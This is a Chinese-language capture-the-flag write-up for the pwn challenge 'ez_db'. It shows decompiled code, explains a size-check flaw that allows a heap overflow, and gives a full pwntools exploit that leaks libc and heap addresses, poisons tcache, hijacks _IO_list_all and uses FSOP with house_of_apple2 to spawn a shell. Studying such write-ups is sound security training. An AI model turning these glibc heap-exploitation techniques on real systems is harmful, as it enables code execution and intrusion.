TPctf-ez_db (堆溢出+fsop+apple2)

TPctf难度有的,不过只出了这一道pwn题

  • 题目:《ez_db》
  • 考点:堆溢出
  • 攻击手法:fsop+house_of_apple2

题目主函数

下面是我修过后的主函数,大致是一个mesage管理系统。

一个0x400大的chunk为一个主chunk,添加记录信息由后向前分割大chunk,chunk头部是id和分割大小的信息。我会上传文件信息和我修过的ida文件。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  TablePage *chunk_addr; // rbx
  void *Page; // rax
  __int64 v5; // rdx
  chunk *v6; // rax
  __int16 *v7; // rax
  size_t v8; // rbx
  __int64 v9; // rax
  chunk *v10; // rax
  unsigned __int16 ID; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int16 inserted; // [rsp+2h] [rbp-4Eh]
  int opt; // [rsp+4h] [rbp-4Ch] BYREF
  unsigned int idx; // [rsp+8h] [rbp-48h] BYREF
  int i; // [rsp+Ch] [rbp-44h]
  chunk *v17; // [rsp+10h] [rbp-40h]
  chunk *mid; // [rsp+18h] [rbp-38h]
  _DWORD index[6]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v20; // [rsp+38h] [rbp-18h]

  v20 = __readfsqword(0x28u);
  init();
  for ( i = 0; i <= 15; ++i )
    chunk_grupe[i] = 0LL;
  while ( 1 )
  {
    print_operations();
    __isoc99_scanf("%d", &opt);
    switch ( opt )
    {
      case 1:                                   // creat
        printf("Index: ");
        __isoc99_scanf("%d", index);
        if ( index[0] >= 0x10u )
          goto err;
        if ( chunk_grupe[index[0]] )
        {
          puts("Table Page already exists");
        }
        else
        {
          chunk_addr = operator new(0x20uLL);
          TablePage::TablePage(chunk_addr);
          chunk_grupe[index[0]] = chunk_addr;
          puts("Table Page created");
        }
        continue;
      case 2:                                   // remove
        printf("Table Page Index: ");
        __isoc99_scanf("%d", index);
        if ( index[0] >= 0x10u )
          goto err;
        if ( !chunk_grupe[index[0]] )
          goto LABEL_34;
        Page = TablePage::GetPage(chunk_grupe[index[0]]);
        free(Page);
        v5 = index[0];
        if ( chunk_grupe[v5] )
          operator delete(chunk_grupe[v5], 0x20uLL);
        chunk_grupe[index[0]] = 0LL;
        puts("Table Page removed");
        break;
      case 3:
        printf("Index: ");                      // write_message
        __isoc99_scanf("%d", index);
        if ( index[0] >= 0x10u )
          goto err;
        if ( !chunk_grupe[index[0]] )
          goto LABEL_34;
        v6 = operator new(0x10uLL);
        v6->size = 0;
        v6->addr = 0LL;
        mid = v6;
        printf("Varchar Length: ");
        __isoc99_scanf("%hd", mid);
        if ( mid->size )
        {
          mid->addr = operator new[](mid->size);
          printf("Varchar: ");
          read(0, mid->addr, mid->size);
          inserted = TablePage::InsertRecord(chunk_grupe[index[0]], mid);
          if ( mid->addr )
            operator delete[](mid->addr);
          if ( mid )
            operator delete(mid, 0x10uLL);
          printf("Record inserted, slot id: %d\n", inserted);
        }
        else
        {
          puts("Invalid varchar length");
          if ( mid )
            operator delete(mid, 0x10uLL);
        }
        break;
      case 4:                                   // get
        printf("Index: ");
        __isoc99_scanf("%d", &idx);
        if ( idx >= 0x10 )
          goto err;
        if ( !chunk_grupe[idx] )
          goto LABEL_34;
        printf("Slot ID: ");
        __isoc99_scanf("%hd", &ID);
        TablePage::GetRecord(index, chunk_grupe[idx], ID);
        if ( std::operator!=<Record>(index) )
        {
          v7 = std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(index);
          printf("Varchar Length: %d\n", *v7);
          printf("Varchar: ");
          v8 = *std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(index);
          v9 = std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(index);
          write(1, *(v9 + 8), v8);
          putchar(10);
        }
        else
        {
          puts("Record not found");
        }
        std::shared_ptr<Record>::~shared_ptr(index);
        break;
      case 5:                                   // edit
        printf("Index: ");
        __isoc99_scanf("%d", index);
        printf("Slot ID: ");
        __isoc99_scanf("%hd", &idx);
        if ( index[0] < 0x10u )
        {
          if ( chunk_grupe[index[0]] )
          {
            v10 = operator new(0x10uLL);
            v10->size = 0;
            v10->addr = 0LL;
            v17 = v10;
            printf("Varchar Length: ");
            __isoc99_scanf("%hd", v17);
            v17->addr = operator new[](v17->size);
            printf("Varchar: ");
            read(0, v17->addr, v17->size);
            if ( TablePage::EditRecord(chunk_grupe[index[0]], idx, v17) )
              puts("Record edited");
            else
              puts("Record Illegal edit");
          }
          else
          {
LABEL_34:
            puts("Table Page does not exist");
          }
        }
        else
        {
err:
          puts("Invalid index");
        }
        break;
      default:
        return 0;
    }
  }
}

漏洞点:

在insert检测size的时候,会比较(this->end - this->pos + 1)与size+4,end减去pos最大是0x400,导致此处比骄后,size最大可以是0x400-3

 if ( TablePage::GetFreeSpaceSize(this) < (Size + 4LL) )
 //   return this->end - this->pos + 1;
    return -1;

配合下面的memcpy函数然后此处的end-size后最多chunk只剩3个字节,而我们的size信息是储存到第四个字节处的,也就是我们设置size是0x400-3时可以覆盖到chunk储存的size信息。我们将其改大就会造成堆溢出。

memcpy(this->end - Size, mid->addr, Size);

思路:

从后往前free chunk,修改size就直接 输出被free的chunk信息拿到libc和heap基地址。然后堆溢出修改tecach bin的fd。然后劫持到io_list_all,打apple2。

EXP:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']
menu = 0x000000000001503
edit = 0x0000000000001B6E
add = 0x000000000001D05

file_name = './db'
b_string ="b main\n"
b_slice = [menu,"_IO_flush_all_lockp"]
pie = 1
for i in b_slice:
    if type(i) == int and pie:
        b_string += f"b *$rebase({i})\n"
    elif type(i) == int :
        b_string += f"b *{hex(i)}\n"
    else :
        if type(i) == str:
            b_string += f"b *"+i+f"\n"
#1 => attach
#2 => debug
#3 => remote

choice = 1
if choice == 1 :
    p = process(file_name)
    # gdb.attach(p,b_string)
    print(f"Break_point:\n"+b_string)
    
elif choice == 2 :
    p = gdb.debug(file_name,b_string)
    print(f"Break_point:\n"+b_string)
    
elif choice == 3 :
    ip_add ="nc1.ctfplus.cn"
    port = 39169
    print("[==^==] remote : "+ip_add+str(port))
    p = remote(ip_add,port)

#-----------------------------------------------------------------------------------------
def Qword(data): 
    if type(data) == bytes :
        print("[~]===> Data : ")
        for i in range(len(data)//8):
            print("         %.2x : 0x%x" % (8*i,u64(data[i*8:(i*8+8)])))
    else :
        print("Print data failed!!")
rv = lambda x            : p.recv(x)
rl = lambda a=False      : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sd = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b          : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
#u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b           : print("\x1B[1;36m[+]{} =====> 0x%x \x1B[0m".format(a)%b)
#-----------------------------------------------------------------------------------------

def menu(cho):
    sla(">>> ",str(cho))
def add(index):
    menu(1)
    sla("Index: ",str(index))
    print("==== add ====")
def sub(index):
    menu(2)
    sla("Table Page Index: ",str(index))
    print("==== sub ====")
def insert(index,size,payload):
    menu(3)
    sla("Index: ",str(index))
    sla("Varchar Length: ",str(size))
    sa("Varchar: ",payload.ljust(size-2,b"\x00")+b'mm')
    ru("Record inserted, slot id: ")
    # ret = int(rl())
    # print(f"==== insert ==== ret {ret}")
    # return ret
def get(index,id):
    menu(4)
    sla("Index: ",str(index))
    sla("Slot ID: ",str(id))
    ru("mm")
    rv(16)
    print("==== get ====")
    
def edit(index,id,size,payload):
    menu(5)
    sla("Index: ",str(index))
    sla("Slot ID: ",str(id))
    sla("Varchar Length: ",str(size))
    sa("Varchar: ",payload)
    print("==== edit ====")
    
for i in range(9):
    add(i)
for i in range(8):
    sub(8-i)
insert(0,0x400-3,b'\x0f')

get(0,0)
heap = (u64(rv(8))<<12)-0x12000
pad("heap",heap)
res = rv(0x68)
libc = u64(rv(8))-0x21ace0
pad("libc",libc)

flag = b"fake_FILE_struct"
addr = heap + 0x012538
heap_a = addr + 0x100
heap_b = heap_a + 0x0
vtable = libc + 0x2170c0 #_IO_wfile_jumps
system = libc + 0x050d70 #system

wide_vtable = b'\x00'*0x68 + p64(system)
wide_data = wide_vtable.ljust(0xe0,b'\x00')+p64(heap_b)

FILE = b"  sh"+b"\x00"*4
FILE = FILE.ljust(0x28,b'\x00')+p64(1)
FILE = FILE.ljust(0xa0,b'\x00')+p64(heap_a) #_wide_data
FILE = FILE.ljust(0xd8,b'\x00')+p64(vtable) #vatable
FILE = FILE.ljust(heap_a-addr,b'\x00') + wide_data
FILE = flag + FILE

fake_fd = libc+0x21b680 #IO_list_all
payload = b'\x0f'+b'\x00'*(0x400-4)
payload += p64(0)+p64(0x31)+p64(libc + 0x21ad00)*2+p64(heap+0x012720)+p64(heap+0x012320)#+p64(0)+p64(0x31)+p64(0)*4
payload += p64(0x30)+p64(0x20)+p64(heap+0x12320>>12)+p64(0)
payload += p64(0)+p64(0x21)+p64(0)*2
payload += p64(0)+p64(0x3d1)+p64(libc+0x21b0a0)*2+b'\x00'*(0x3d0-0x20-len(FILE))+FILE
payload += p64(0x3d0)+p64(0x30)+p64((heap+0x012730>>12)^(heap+0x012b70))+p64(0)*3
payload += p64(0)+p64(0x411)+p64((heap + 0x012760 >> 12) ^ (fake_fd-0x3f0))

edit(0,0,0xf00,payload)
add(1)
add(2)#劫持到list_all
gdb.attach(p,b_string)
insert(2,0x10,p64(addr))#覆盖list_all
insert(2,0x10,p64(addr))#不要这个会一直循环进入case 3
sla(">>> ",str(6)) #调用exit打fsop+
inter()